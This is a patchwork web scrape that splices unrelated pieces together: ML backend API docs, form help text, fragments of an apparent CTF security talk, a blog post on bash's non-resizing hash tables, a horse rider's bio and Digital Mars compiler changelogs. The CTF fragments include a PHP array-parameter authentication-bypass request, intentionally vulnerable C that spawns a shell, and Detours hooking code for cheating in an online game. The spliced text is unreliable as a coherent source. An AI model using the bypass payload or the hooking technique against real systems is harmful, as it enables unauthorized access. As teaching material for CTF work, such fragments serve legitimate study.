-
backend.ml_model.client_server.django_ml_embedding module¶
-
class
backend.ml_model.client_server.django_ml_embedding.
DatabasePreferenceLearnerEmbedding
(**kwargs)¶ Bases:
backend.ml_model.client_server.database_learner.DatabasePreferenceLearner
Learn models from the database, save/restore.
-
__init__
(directory=None, load=True, save=True)¶ Initialize self. See help(type(self)) for accurate signature.
-
create_models
()¶ Create the models.
-
static
fill_model_data
(model, user)¶ Populate model data from db.
-
fit
()¶ Fit on latest database records.
-
predict_aggregated
(videos)¶ Predictions for the aggregated model.
-
predict_user
(user, videos)¶ Prediction for one user, or None if there’s nothing there.
-
predict_with_emb_or_None
(model, videos)¶
-
visualize
()¶ Plot model predictions and losses.
-
backend.ml_model.client_server.django_ml_featureless module¶
-
class
backend.ml_model.client_server.django_ml_featureless.
DatabasePreferenceLearnerFeatureless
(**kwargs)¶ Bases:
backend.ml_model.client_server.database_learner.DatabasePreferenceLearner
Learn models from the database, save/restore.
-
__init__
(directory=None, load=True, save=True)¶ Initialize self. See help(type(self)) for accurate signature.
-
create_models
()¶ Create learning models and the aggregator.
-
static
fill_model_data
(model, user)¶ Populate model data from db.
-
fit
()¶ Fit on latest database records.
-
predict_aggregated
(videos)¶ Predictions for the aggregated model.
-
predict_user
(user, videos)¶ Prediction for one user, or None if there’s nothing there.
-
visualize
()¶ Plot model predictions and losses.
-
backend.ml_model.client_server.ml_client module¶
-
class
backend.ml_model.client_server.ml_client.
DatabaseLearnerCommunicator
(port_inference=5000, port_training=5001, host='localhost')¶ Bases:
object
Communicate with training/inference workers.
-
__init__
(port_inference=5000, port_training=5001, host='localhost')¶ Initialize (remember ports).
-
build_client
(port)¶ Return an http client pointing to the worker.
-
fit
()¶ Fit on data from the dataset.
-
-
backend.ml_model.client_server.ml_client.
time_cache_wrapper
(f, expire_sec=3600)¶ Decorator which caches results for some seconds.
backend.ml_model.client_server.ml_server module¶
-
class
backend.ml_model.client_server.ml_server.
MainHandler
(application: tornado.web.Application, request: tornado.httputil.HTTPServerRequest, **kwargs: Any)¶ Bases:
tornado.web.RequestHandler
Server which handles the connections.
-
post
()¶
-
-
backend.ml_model.client_server.ml_server.
run_server
(port=5000, learner=None)¶ Run server.


Programs should be written and polished until they acquire publication quality. --Niklaus Wirth [ source]


 This form will create a new project using your selection.
A Subset contains images that have been sub-sampled from a Project. Use this form to create a new Subset. Select the method for subsetting the images and the parameters to use.
A Subset contains images that have been sub-sampled from a Project. Use this form to create a new Subset by uploading a list of pre-selected images images. NB: the images need to already be uploaded into the system.
An Annotation run defines the method of annotation on a Subset. Use this form to create an Annotation run. Select the method for annotation and also the associated parameters.


<?php $key = "key{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"; $pass = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"; if ( strcasecmp( $_GET['pass'], $pass ) == 0 ) { echo($key); } ?>
$ curl http://target.ip/?pass[]
Bunyan's Revenge (PlaidCTF 2013)
case ODOTPTR: cgen(nl, res); + // explicit check for nil if struct is large enough + // that we might derive too big a pointer. + if(nl->type->type->width >= unmappedzero) { + regalloc(&n1, types[tptr], res); + gmove(res, &n1); + n1.op = OINDREG; + n1.type = types[TUINT8]; + n1.xoffset = 0; + gins(ATESTB, nodintconst(0), &n1); + regfree(&n1); + } if(n->xoffset != 0) { - // explicit check for nil if struct is large enough - // that we might derive too big a pointer. - if(nl->type->type->width >= unmappedzero) { - regalloc(&n1, types[tptr], res); - gmove(res, &n1); - n1.op = OINDREG; - n1.type = types[TUINT8]; - n1.xoffset = 0; - gins(ATESTB, nodintconst(0), &n1); - regfree(&n1); - } ginscon(optoas(OADD, types[tptr]), n->xoffset, res);
============================================================================= FreeBSD-SA-11:05.unix Security Advisory The FreeBSD Project Topic: Buffer overflow in handling of UNIX socket addresses Category: core Module: kern Announced: 2011-09-28 Credits: Mateusz Guzik Affects: All supported versions of FreeBSD. [...] II. Problem Description When a UNIX-domain socket is attached to a location using the bind(2) system call, the length of the provided path is not validated. Later, when this address was returned via other system calls, it is copied into a fixed-length buffer. Linux uses a larger socket address structure for UNIX-domain sockets than FreeBSD, and the FreeBSD's linux emulation code did not translate UNIX-domain socket addresses into the correct size of structure.
inputfile = realpath(argv[1]); if (strstr(inputfile,"password") || strstr(inputfile,"flag")) { goto fail; } password = read(open("/home/guesspw/password")); attempt = read(open(inputfile)); if (strcmp(password,attempt)) { system("/bin/sh"); }
(a most certainly non-exhaustive list)
________ / ____/ /_ ____ ____ ________ __ ______ __ _______ / / / __ \/ __ \/ __ \/ ___/ _ \ / / / / __ \/ / / / ___/ / /___/ / / / /_/ / /_/ (__ ) __/ / /_/ / /_/ / /_/ / / \____/_/ /_/\____/\____/____/\___/ \__, /\____/\__,_/_/ ____ ___ __ /____/ __ / __ \_ ______ / | ____/ / _____ ____ / /___ __________ / /_/ / | /| / / __ \ / /| |/ __ / | / / _ \/ __ \/ __/ / / / ___/ _ \ / ____/| |/ |/ / / / / / ___ / /_/ /| |/ / __/ / / / /_/ /_/ / / / __/ /_/ |__/|__/_/ /_/ /_/ |_\__,_/ |___/\___/_/ /_/\__/\__,_/_/ \___/ You hold in your hands a map to a vast treasure under the mountain.  You start your quest on a road just outside of town. You feel a strange forboding feeling eminating from the map, like it has an alien magic all of its own. What do you do? 1) Follow the road toward the mountain. 2) Turn around and ask the mage in town what is going on. Choice:
-- gits.lua -- A wireshark plug-in to reverse engineer PwnAdventure 3 traffic -- -- http://pwnadventure.com/ for more information. -- --<EMAIL_ADDRESS>gits_proto=Proto("GitS", "Pwn Adventure 3") function addLocation(tvb, pos, tree) local branch branch=tree:add(tvb(pos,12), "Location") branch:add(tvb(pos,4), "X Coordinates: "..tvb(pos,4):le_uint()) branch:add(tvb(pos+4,4), "Y Coordinates: "..tvb(pos+4,4):le_uint()) branch:add(tvb(pos+8,4), "Z Coordinates: "..tvb(pos+8,4):le_uint()) end
gist.github.com/dropkickgit/2b65c0ac18506e5c5f0f
#include <Windows.h> #include <detours.h> #include <fstream> #include <cstdio> #include <cstdlib> #pragma comment(lib, "detours.lib") // Classes class TCPSocket {}; class Player {}; class Actor {}; // Structs struct Vector3 { float x, y, z; }; // Typedefs typedef bool(__thiscall *SendFunc)(TCPSocket *, const void*, unsigned int); typedef bool(__thiscall *RecvFunc)(TCPSocket *, void*, unsigned int); typedef bool(__thiscall *CanJumpFunc)(Player *); typedef bool(__thiscall *PlayerChatFunc)(Player *, const char *); typedef void(__thiscall *PlayerFastTravelFunc)(Player *, const char *, const char *); typedef void(__thiscall *ActorSetPositionFunc)(Actor *, Vector3 *); // Globals SendFunc RealSend; RecvFunc RealRecv; CanJumpFunc RealCanJump; PlayerChatFunc RealChat; PlayerFastTravelFunc PlayerFastTravel; ActorSetPositionFunc ActorSetPosition; Player *playerObj = 0; TCPSocket *clientSock = 0; std::ofstream DbgLogger;
Thanks to: Dragon Sector Escape from Minecraft Writeup used with Permission: http://blog.dragonsector.pl/2014/02/ph4quals-escape-from-minecraft.html Made with: Spacemacs: https://github.com/syl20bnr/spacemacs Org-Reveal: Export from org-mode straight to reveal.js html5 presentations: https://github.com/yjwen/org-reveal Using images from: Free Labor Image: https://www.flickr.com/photos/donkeyhotey/5501554002 (CC BY) Toy Soldiers: http://www.flickr.com/photos/janramroth/2264184078/ (CC BY) Any Bonds Today: http://en.wikipedia.org/wiki/Any_Bonds_Today (PD) It's Got Me Again: http://en.wikipedia.org/wiki/It%27s_Got_Me_Again! (PD) Confused: https://flickr.com/photos/83633410@N07/7658225516 (CC BY-SA) Bugs: https://www.flickr.com/photos/jurvetson/3097134746/ (CC BY) Thief: https://www.flickr.com/photos/fhke/3335949405 (CC BY-SA) Golden Gun: https://www.flickr.com/photos/mrgarethm/14592496766 (CC BY) Flying: https://www.flickr.com/photos/scion02b/2765655302/ (CC BY) Eggs: https://www.flickr.com/photos/erix/131405474/ (CC BY) Engine: https://www.flickr.com/photos/michchap/14607705463/ (CC BY) Cave: https://www.flickr.com/photos/watchsmart/2059057874 (CC BY) Bees: http://wikimedia.org/wiki/File:-_Bee_swarm_on_a_bicycle_(1-5)_-.jpg (CC BY-SA)


Examples
File
Save
Save as...
Delete
Stored programs
User program 1
User program 2
Connected
Device not found
Run
Stop
Compilation
Console
Screenshot
Clear
Debug


Bash is irrecoverably broken
Everybody knows that bash is a little weird. The quoting shenanigans with
$@
and $*
, the horked local scoping rules, the
required whitespace around [[
and ]]
, and a
handful of other oddities that make shell scripting feel like an adventure. And
these were things I was happy to put up with in exchange for its convenient
ubiquity and highly usable default settings.
That all changed this morning.
I was up early to work on bake, a build tool that integrates with the shell environment. Bake maintains a table of variable bindings and uses these repeatedly when solving the dependency graph, so I wrote up some quick benchmarks to test various strategies for storing and accessing it.
No problem, right? Bash has sparse arrays, global variables, and bash 4 introduces associative arrays. One way or another, we've got this covered. Ok, so let's do a quick check to make sure the sparse-array support doesn't do anything too crazy with access times:
# setup xs to have 65536 elements, each one character long benchmarking local x=${xs[1024]}... user 0m0.234s user 0m0.237s user 0m0.234s user 0m0.241s benchmarking local x=${xs[16384]}... user 0m0.233s user 0m0.240s user 0m0.242s user 0m0.240s
Looks good! It doesn't seem to matter what the index is.  Right?
Arrays are linked lists
Wrong. Sparse arrays are implemented as linked lists in bash. To optimize the sequential access case, the array structure contains a stateful pointer to the last element accessed. We can see this behavior in a benchmark by requesting element 0 after element N:
benchmarking local x=${xs[1024]} y=${xs[0]}... user 0m0.347s user 0m0.353s user 0m0.349s user 0m0.350s benchmarking local x=${xs[16384]} y=${xs[0]}... user 0m1.175s user 0m1.183s user 0m1.189s user 0m1.182s
A tragic lack of forethought on the part of the array implementer. But no matter; bash gives us at least two ways to access hash tables, so we can work around the problem that way.
Hash tables are linked lists
Bash does not use hashtables as of version 4.2, and you should not use a hashtable written by anyone who tells you otherwise.
Yes, you read that correctly. Every variable lookup, every associative array lookup, alias lookup, etc -- these are all linear-time scans through a linked list.
In the bash source, there's a set of functions called
hash_create
, hash_insert
, etc, that are
unsurprisingly called whenever bash maintains a mapping from strings to other
stuff like functions, variables, aliases, and such. And also unsurprisingly,
there's a function that hashes strings by multiplying each character by a big
prime number. So one might reasonably conclude that all this talk of hashes
is about setting up a hash table for averaged constant-time access.
That was probably the idea, anyway. But if you benchmark variable lookups, you'll observe a noticeable decline in performance as more of them are defined:
setting up 64 vars... real 0m0.004s user 0m0.004s sys 0m0.000s benchmarking local x=${xs_0} y=${xs_0}... user 0m0.260s user 0m0.259s user 0m0.258s user 0m0.259s
setting up 65536 vars... real 0m7.484s user 0m7.415s sys 0m0.071s benchmarking local x=${xs_0} y=${xs_0}... user 0m2.905s user 0m2.914s user 0m2.927s user 0m2.909s
Let's give bash the benefit of the doubt here and say that maybe some of the
later variables created some hash collisions (despite all being named
xs_i
for densely-distributed integers i
). It isn't
quite fair to compare a nearly-empty hashtable with a full one.
setting up 524288 vars... real 12m4.956s user 12m2.650s sys 0m2.090s benchmarking local x=${xs_0} y=${xs_0}... user 1m20.455s user 1m19.054s user 1m17.574s user 1m12.624s
ZOMGWTF. Eight times as many variables, and a whopping 100x as long to set them up. 10x as long to access. And we're not swapping to disk or anything; this is all happening well within memory.
Clearly this is no ordinary hashtable implementation. And indeed, here is the
hash_insert
function from the source (reformatted for brevity):
BUCKET_CONTENTS * hash_insert (string, table, flags) char *string; HASH_TABLE *table; int flags; { BUCKET_CONTENTS *item; int bucket; unsigned int hv; if (table == 0) table = hash_create (0); item = (flags & HASH_NOSRCH) ? (BUCKET_CONTENTS *)NULL : hash_search (string, table, 0); if (item == 0) { bucket = HASH_BUCKET (string, table, hv); item = (BUCKET_CONTENTS *)xmalloc (sizeof (BUCKET_CONTENTS)); item->next = table->bucket_array[bucket]; table->bucket_array[bucket] = item; item->data = NULL; item->key = string; item->khash = hv; item->times_found = 0; table->nentries++; } return (item); }
This all looks quite innocuous at first glance, but if you've ever written a hashtable you will quickly realize that something crucial is missing: the bucket array is never resized. Bash does us the service of maintaining an exact count of the number of items stored in the table, but at no point does it resize the array to maintain an average chain depth.
Which, of course, is something of a problem as we start to add more entries. What it really means is that bash isn't using a proper hashtable at all; instead, it's just a fixed number of linked lists over which it will ultimately do linear scans. This explains why creating n variables takes n2 time.
Why this matters
You might be thinking, "look, it's a shell, who cares." I was tempted to think this too, and for most people it probably really doesn't matter. But the shell isn't just this thing you type commands into. It's your window into the system. It's a programming language that you're using to tell the computer what to do. And being able to extend your navigational context is enormously helpful. Bash, through its sloppy implementation, reduces the shell to just a command prompt and not much more.
It's possible to overcome most kinds of limitations in one way or another. And I'm generally willing to go to some absurd lengths to get something to work if it's sufficiently interesting. There are two kinds of problems, however, that force a hard stop. One is when you don't have enough computational expressiveness to do something, like trying to write Lisp in the C preprocessor. (You can do it with C++ template metaprogramming, but the C preprocessor isn't Turing-complete.)
The other is when you hit a performance barrier with no workaround. If you can allocate memory and get to it in constant time, you can probably come up with some creative solution to a performance problem; but this all stops when your language has no constant-time data access.
I guess it's time to switch to zsh:
if (++ht->ct >= ht->hsize * 2 && !ht->scan) expandhashtable(ht);
Or maybe this will be enough motivation to write a shell. But either way, today is my last day using bash.


I started riding dressage when I was 12 years old, and fell in love with it. Since then, I have tried my hand at fox hunting and eventing, but it doesn't compare to the challenge and satisfaction I get from dressage. I have shown through 4th level on self trained horses, earning my USDF Bronze Medal and half of my Silver. I since have gained experience schooling through Grand Prix movements and am actively working to earn both my Silver and Gold medals.
I have recently acquired two fabulous KWPN foals from Scot and Carol Tolman of Shooting Star Farm. Neo SSF (Don Olymbrio x UB-40 x Pass the Glass XX) pictured right and Olympites SSF, aka Olie, (Secret x Donatelli x Jazz) pictured left. They are both fabulous sport and breeding prospects, and I look forward to sharing my journey with them on this site!


Digital Mars C/C++ Version Info
- Download latest version for Win32.
- What's new for C/C++ 8.57
- What's new for C/C++ 8.56
- What's new for C/C++ 8.55
- What's new for C/C++ 8.54
- What's new for C/C++ 8.53
- What's new for C/C++ 8.52
- What's new for C/C++ 8.51
- What's new for C/C++ 8.50
- What's new for C/C++ 8.49
- What's new for C/C++ 8.48
- What's new for C/C++ 8.47
- What's new for C/C++ 8.46
- What's new for C/C++ 8.45
- What's new for C/C++ 8.44
- What's new for C/C++ 8.43
- What's new for C/C++ 8.42
- What's new for C/C++ 8.41
- What's new for C/C++ 8.40
- What's new for C/C++ 8.39
- What's new for C/C++ 8.38
- What's new for C/C++ 8.37
- What's new for C/C++ 8.36
- What's new for C/C++ 8.35
- What's new for C/C++ 8.34
- What's new for C/C++ 8.33
- What's new for C/C++ 8.32
- What's new for C/C++ 8.31
- What's new for C/C++ 8.30
- What's new for C/C++ 8.29
- What's new for C/C++ 8.28
- What's new for C/C++ 8.27
- What's new for C/C++ 8.26
- What's new for C/C++ 8.25
- What's new for C/C++ 8.23
- What's new for C/C++ 8.22
- What's new for C/C++ 8.20
- What's new for C/C++ 8.1e
- What's new for C/C++ 8.1d
- What's new for C/C++ 8.1c
- What's new for C/C++ 8.1A
- What's new for C/C++ 8.18
- What's new for C/C++ 8.17
- What's new for C/C++ 8.16
- What's new for C/C++ 8.15
- What's new for C/C++ 8.13
- What's new for C/C++ 8.12
- What's new for C/C++ 8.10
- What's new for C/C++ 8.0
- What's new for C/C++ 7.6
- What's new for C/C++ 7.5
WHAT'S NEW FOR C/C++ 8.57
Aug 1, 2013- New/Changed
- Numerous code gen improvements, including faster switch tables and divides.
WHAT'S NEW FOR C/C++ 8.56
Nov 9, 2012- C++0x
- New/Changed
- Bug fixes
- Bugzilla 8986: The PVS-Studio analyzer has something for you 8987 - Compiling using -O -release options yield Internal error: backend\cgcod.c 1663 9171 - error optimization of expression
- 8796 - Optimizer bug on 64bit: *p++=1 where p is a parameter
WHAT'S NEW FOR C/C++ 8.55
Oct 20, 2012- C++0x
- New/Changed
- Bug fixes
- Bugzilla 89 : InterlockedCompareExchange has incorrect signature in winbase.h
- Bugzilla 6505: Wrong code for expression involving 8 floats, only with -O
- Bugzilla 8840: calculating minimum of longs with following comparison compiles to wrong code when enabling the optimizer
- Fixed bit rot in building library
- Fixed uninitialized field
- tmpfile() now uses TEMP environment variable
- MAKE now handles spaces in paths
WHAT'S NEW FOR C/C++ 8.54
Aug 21, 2010- C++0x
- New/Changed
- Bugzilla 5741: Add the SYSCALL and SYSRET opcodes to the inline assembler
- Bug fixes
- Bugzilla 2436: Unexpected OPTLINK termination EIP = 00425303 with /co
- Bugzilla 3372: optlink silently mistreats object files with more than 16384 symbols
- Bugzilla 3681: ICE(go.c): when function takes too long to optimize, only with -O.
- Bugzilla 4275: Unexpected optlink termination when 'export' attribute is missing
- Bugzilla 4379: ICE(blockopt.c): foreach over huge tuple, only with -O
- Bugzilla 4486: CodeView debug info should contain absolute path names
- Bugzilla 5294: -O optimization breaks for loop
- Bugzilla 5455: ICE(cgcod.c): Optimization (register allocation?) regression in DMD 1.065
- Bugzilla 5581: [64-bit] Wrong code with bitwise operations on bools
- Bugzilla 5670: Optlink 8.00.11 crash
- Bugzilla 5672: ICE(cod2.c): incorrect optimization of (long &1) == 1
WHAT'S NEW FOR C/C++ 8.53
Dec 26, 2010- C++0x
- New/Changed
- Bug fixes
- Bugzilla 79 : Error comparing double to long long int's.
- Bugzilla 4009: OPTLINK ruins the day yet again
- Bugzilla 4443: Optimizer produces wrong code for || or && with struct arrays
- Bugzilla 4645: to!string(const char*) in library causes Optlink to issue warning
WHAT'S NEW FOR C/C++ 8.52
Apr 24, 2010- C++0x
- Added keywords
- Added unicode string literals and types
- Added raw string literals, except for "undoing" backslash and trigraphs
- Disallow surrogate pairs in universal character names
- Added static_assert declarations
- Added declspec
- Added nullptr
- Added partial support for thread_local
- New/Changed
- Added spell checker for undefined symbols
- Bug fixes
- Changed FLT_EVAL_METHOD to 2, and moved it to float.h
- Changed float_t and double_t to long double
- Fix codegen issue with returning double complex numbers
- Bugzilla 7 : -A99 switch makes some math functions inaccessible
- Bugzilla 45 : Internal error: cgcod 1594
- Bugzilla 46 : Constant folding with long doubles
- Bugzilla 47 : Internal error: cg87 3316
- Bugzilla 48 : Internal error: cgreg 784
- Bugzilla 3558: Optimizer bug results in false if condition being taken
- Bugzilla 3633: Optimizer causes access violation
- Bugzilla 3736: corrupted struct returned by function with optimizations (-O)
WHAT'S NEW FOR C/C++ 8.51
Dec 6, 2009- New/Changed
- Bugzilla 2888: speedup for float * 2.0
- Bugzilla 2905: Faster +-*/ involving a floating-pointing literal
- Added asinh, acosh, and atanh
- Increase max value of -HP switch from -HP99 to -HP299
- Bug fixes
- Improved long divide performance
- Fixed bug with premature destruction of const ref temporaries.
- Bugzilla 36 : ambiguous reference to std::sqrt
- Bugzilla 675: %a format has an out-by-1 bug for denormals.
- Bugzilla 708: inline assembler: "CVTPS2PI mm, xmm/m128" fails to compile
- Bugzilla 709: inline assembler: "CVTPD2PI mm, xmm/m128" fails to compile
- Bugzilla 1194: fcmov* emmits incorrect code
- Bugzilla 2923: -O generates bad code for ?:
- Bugzilla 2697: Cast of float function return to ulong or uint gives bogus value
- Bugzilla 3078: NaN reported as equal to zero
- Bugzilla 3521: Optimized code access popped register
WHAT'S NEW FOR C/C++ 8.50
Aug 19, 2007- New/Changed
- Increase max value of -HP switch from -HP99 to -HP299
- Bug fixes
- Fixed bug in _nmalloc() where allocations larger than 0x8000 failed.
- Removed some wcs functions from stdlib.h (they're in wchar.h)
- Corrected DECIMAL_DIG value in float.h
- Corrected Internal error cgcod.c 1498
- Fixed c++.beta/608 (also need to use -HP299 switch)
- Fixed c++.beta/619
- Fixed c++.beta/628
- Fixed c++/5347: Failure to prefer more-specific (non-template) function
- Fixed c++/5349: Appears that template syntax is checked before macro expansion!
- Fixed c++/5353: elaborated type specifiers and namespaces
- Fixed c++/5354: namespaces and anonymous namespaces
- Fixed c++/5355
- Fixed Bugzilla 365
- Fixed Bugzilla 431
- Fixed Bugzilla 794
- Fixed Bugzilla 1150: Compiler creates wrong code
- Fixed Bugzilla 1448: UTF-8 output to console is seriously broken
- Fixed c++.beta 596: Digital Mars takes into account template parameter *names* as if they were part of the signature
- Fixed c++.beta 660: dmc 8.50.3n Internal error: struct 2169
- Fixed c++ 5533: BUG: typedef not visible for friend?
- Fixed c++ 5534: BUG: friend functions
WHAT'S NEW FOR C/C++ 8.49
Aug 12, 2006- New/Changed
- Bug fixes
- Fixed c++.command-line/681
- Fixed c++.beta/511
- Fixed c++.beta/526 #1
- Fixed c++.beta/526 #2
- Fixed c++.beta/526 #3
- Fixed c++.beta/530
- Fixed c++.beta/546
- Fixed c++.beta/547
- Fixed c++.beta/549
- Fixed c++.beta/562
- Fixed c++.beta/563
- Fixed c++.beta/564
- Fixed c++.beta/565
- Fixed c++.beta/569
- Fixed c++.beta/572
- Fixed c++.beta/574
- Fixed c++.beta/581
- Fixed c++/5174
- Fixed c++/5176
- Fixed c++/5178
- Fixed c++/5179
- Fixed c++/5180
- Fixed c++/5181
- Fixed c++/5182
- Fixed c++/5183
- Fixed Dstress bug_cg87_2393_A
- Fixed Bugzilla 121
- Added function fabsl, sqrtl, remquol, rintl
WHAT'S NEW FOR C/C++ 8.48
May 4, 2006- New/Changed
- Updated sqltypes.h
- Implemented compiler intrinsics to support traits
- Bug fixes
- Fixed Internal error: cod2 4221
- Fixed Internal error: cg87 261
- Fixed Internal error: cg87 1297
- Fixed D.bugs/6118
- Fixed D.bugs/6662
- Fixed c++.beta/485
- Fixed c++.beta/487
- Fixed c++.beta/489
- Fixed c++.beta/493
- Fixed c++.beta/495
- Fixed c++.beta/496
- Fixed c++.beta/498
- Fixed c++.beta/499
- Fixed c++.beta/500
- Fixed c++.beta/502
- Fixed c++.beta/508
- Fixed c++.beta/512
- Fixed winspool.lib per c++/5125
- Fixed coffimplib.exe per c++/5125
- Fixed c++/5128
- Fixed Bugzilla 86
- Now supports static inline functions
WHAT'S NEW FOR C/C++ 8.47
Jan 22, 2006- Bug fixes
- Fixed corrupt uuid.lib.
WHAT'S NEW FOR C/C++ 8.46
Jan 14, 2006- New/Changed
- Adapted Don Clugston's implementation of lgamma() and tgamma().
- Updated import libraries, uuid.lib.
- Added coffimplib tool to convert COFF import libraries to OMF.
- Bug fixes
- Fixed c++/4876.
- Fixed c++/4881.
- Fixed c++/4909.
- Fixed crash compiling stlsoft/method_properties.hpp.
- Fixed preprocessor crash on missing newline on last line.
- Token concatenation for L"string" now works.
- Fixed missing preprocessed output when macro ends source file without ().
- Folded in fixes from DMD.
- Fixed problem with typing of integer literals.
WHAT'S NEW FOR C/C++ 8.45
Sep 3, 2005- New/Changed
- Modified class layout for multiple inheritance of empty base classes, so they take up a minimum of one byte. This is so that pointer-to-members in different base classes can be properly distinguished.
- Added -Ad switch which goes back to one-level name
lookup for compatibility with legacy C++ code.
Some examples:
- For any use with the older STL implementation in \dm\stl.
- For \dm\stlport\stlport\stl\_deque.h, change line 429 from:
allocator_type get_allocator() const { return _M_map_size; }
to:
allocator_type get_allocator() const { return this->_M_map_size; } - Bruce Eckel's "Thinking in C++" example C05/Sortable.cpp.
- Added forward referencing in class member function default arguments.
- Now passes all tests in Dr. Dobb's Conformance Comparison of C++ Compilers: Oct 2003.
- Bug fixes
- Fixed D.bugs/4761 (as it applies to the C++ compiler as well)
- Fixed problem with exception specifications on pointer to function declarations
- Fixed overloading problem with type vs ref type.
- Fixed partial class ordering bug
- Fixed c++/4781
- Fixed c++/4782
WHAT'S NEW FOR C/C++ 8.44
July 29, 2005- New/Changed
- Implemented C++ DR337
- Added -Ai switch to enable implicit casting from void* in C++ for legacy compatibility (such is not C++98 compliant).
- C++ string literals are now typed as const.
- Supports two-level template name lookup.
- Bug fixes
- Fixed template default argument instantiation context.
- Fixed try-catch handling for template function bodies.
- Fixed SFINAE problem with arrays of functions.
- Fixed internal error template 2643
- Fixed problem with strtold() and non-ascii chars.
- Fixed c++/4682
- Fixed c++/4689
- Fixed c++/4690
- Fixed c++/4694
- Fixed c++/4695
- Fixed c++/4693
- Fixed c++/4705
- Fixed c++/4709
- Fixed c++.command-line/532
- Fixed c++.command-line/536
- Fixed c++.command-line/556
- Fixed bug in __FUNC__, __FUNCTION__, and __PRETTY_FUNCTION__.
WHAT'S NEW FOR C/C++ 8.43
Apr 8, 2005- New/Changed
- Added Pentium 4 (Prescott) instructions to inline assembler.
- Bug fixes
- Fixed several obscure problems with deeply nested preprocessor macro expansions.
- Fixed bad code gen for PEXTRW instruction.
- Fixed C++98 14.5.2-5
- Fixed some problems with member template function explicit specializations.
- Fixed problems with operator overloads as template member functions.
- Fixed problem with deeply nested :: typedefs.
- Corrected partial ordering problem with value parameters.
- Fixed int[array] bug in C compiler.
- Fixed Internal error: func 281
- Fixed problem with converting struct to int inside [].
WHAT'S NEW FOR C/C++ 8.42
Mar 2, 2005- New/Changed
- io.h's tell() is now an inline function, rather than a macro, for C++.
- Added -HHfilename switch to dmc.exe.
- Added -HPnn switch to dmc.exe.
- Bug fixes
- Fixed internal error type 600
- Changed unmangled output of constants from hex to decimal
- Fixed spurious "Error: no type for argument" error
- Fixed template partial specialization for typedef class members
- Fixed function overloading bug with ...
- Fixed function overloading bug with user defined conversions
- Fixed pretty printing of arrays of consts
- Fixed problem with user defined conversions coupled with some forms of class upcasting.
- Fixed bug overloading non-const references to different types.
WHAT'S NEW FOR C/C++ 8.41
Sep 5, 2004- New/Changed
- Added C99 struct and array designated initializers.
- For C++, warning 11 is now always an error.
- For C++, void* is no longer implicitly convertible to other pointer types.
- Added wmem* C99 functions.
- Bug fixes
- Fixed sscanf bug with end of string.
- Quotes, spaces and tabs now allowed in path of -I switch.
- Fixed problem with backwards branch on long double comparison.
- Fixed implib bug where missing LIBRARY statement would cause crash.
- Fixed internal error cg87 279.
- Fixed internal error cg87 313.
- Fixed -A bug with dm\stlport\stlport\config\stl_dm.h.
- Fixed obscure crasher with delete[] on classes with constructor but no destructor.
- Fixed dllexport on global pointer declarations.
- Fixed template default parameter bug with Range classes.
- Fixed >>= sign problem.
- Fixed outp() codegen problem with register variables.
- Fixed dm\include\win32\wownt16.h so it works with C++.
- Fixed internal error ph 1116.
- Fixed partial specialization bug with class templates and value parameters.
- Fixed whitespace bug with empty macro expansion.
- Fixed #line followed by macro.
- Fixed name mangling for array of const.
- Fixed bug with typeid(test<bool const volatile[2]>);
- Fixed erroneous code generation within sizeof expressions.
- Fixed partial specialization ambiguity with template template parameters.
- Fixed incorrect parsing of > inside template sizeof.
- Fixed problem with user defined conversion to bool.
WHAT'S NEW FOR C/C++ 8.40
Feb 20, 2004- New/Changed
- Bug fixes
- Fixed protected access problem with wxWindows.
- Fixed recursion bug in strpbrk().
- Fixed MI bug with function overloading.
WHAT'S NEW FOR C/C++ 8.39
Feb 12, 2004- New/Changed
- Added switches -A89, -A90, -A94, -A95, -A99 for various values of __STDC_VERSION__ and standard C conformance.
- Added functions fwide, isblank, vfscanf, vscanf, vsscanf, vsnprintf, _Exit, lldiv, atoll, ilogb, logb, cbrt, exp2, erf, erfc.
- Added C99 formats to strftime, wcsftime.
- Functions in fenv.h now return int, not void.
- Changed _stprintf in \dm\include\tchar.h to map to sprintf and swprintf.
- Removed "angle bracket hack" where >> token was interpreted as two greater than tokens to close a nested template argument list.
- Member operator delete[] is now recognized.
- Unnamed template parameters now allowed.
- Implemented surrogate call functions.
- Implemented TC1 issue #1.
- Per C++98, typedef names can no longer appear after struct, class, union or enum.
- Implemented some aspects of dependent/independent name lookup.
- Fixed return value of fesetround().
- Bug fixes
- Fixed values of LDBL_MAX_EXP and LDBL_MIN_EXP in float.h.
- Fixed range problems with some long double math functions.
- USHRT_MAX in limits.h is now signed.
- ferror now shows error for a read of a file opened for write.
- Updated asctime format to C99.
- wcstok now correctly has 3 parameters.
- Fixed vswprintf() signature.
- Fixed Internal error: cgcod 1459.
- Fixed Internal error: cod2 410.
- Fixed Internal error: go 237.
- Fixed Internal error: cgcs 213.
- Fixed problem with spaces in preprocessor concatenations.
- Tightened private/protected access checks.
- Tightened error checking for templates.
- Did a sweep through the C++98 spec, fixing several obscure issues.
WHAT'S NEW FOR C/C++ 8.38
Nov 30, 2003- New/Changed
- Added __BASE_FILE__ predefined macro.
- Source files not ending in newline are now allowed with C++ and -A (but are not for C and -A).
- Now accepts \u and \U universal character names in identifiers.
- Added log2 functions.
- Bug fixes
- Template functions now inlined.
- Fixed destructor call problem in virtual base initializer list.
- Inherited exception specifications now checked for equivalence.
- Fixed problem with ldexpl() and cosh().
- Fixed optimizer peephole problem.
- Fixed problem with outlined nested struct functions inside class template.
- Fixed a couple of recursive macro expansion problems.
- Fixed problem with //* comment following #else or #endif with -A.
- Fixed problem with multiply defined local statics in inline functions with constructors.
- Fixed obscure name lookup cases.
- Fixed parsing problem with default template template parameters.
- T can now be cast to T volatile&.
- Fixed accuracy problem with log10t().
WHAT'S NEW FOR C/C++ 8.37
Oct 17, 2003- Fixed another problem with statics.
- Fixed several problems with templates discovered by Bruce Eckel.
- Fixed problem where nested class functions inside class templates sometimes did not get expanded inline properly.
- Fixed problem with member function pointers of templated type inside template parameter list.
- Added support for template-template-parameters.
- C++ alternate keywords are now always enabled, instead of just with -A.
- Fixed problems with friend scopes and multiple initializations of template statics.
- Removed default support of \dm\stl, as only \dm\stlport\stlport will continue to be supported.
WHAT'S NEW FOR C/C++ 8.36
Sep 8, 2003- Fixed problem with statics introduced by 8.35.
- More Boost issues fixed.
- VLA's with destructors now give proper error message.
- Fixed problem with iostream files.
WHAT'S NEW FOR C/C++ 8.35
Aug 22, 2003- Fixed problem with "bad type index" messages from the linker. This would sometimes happen if debug compiles, namespaces, and precompiled headers were used together.
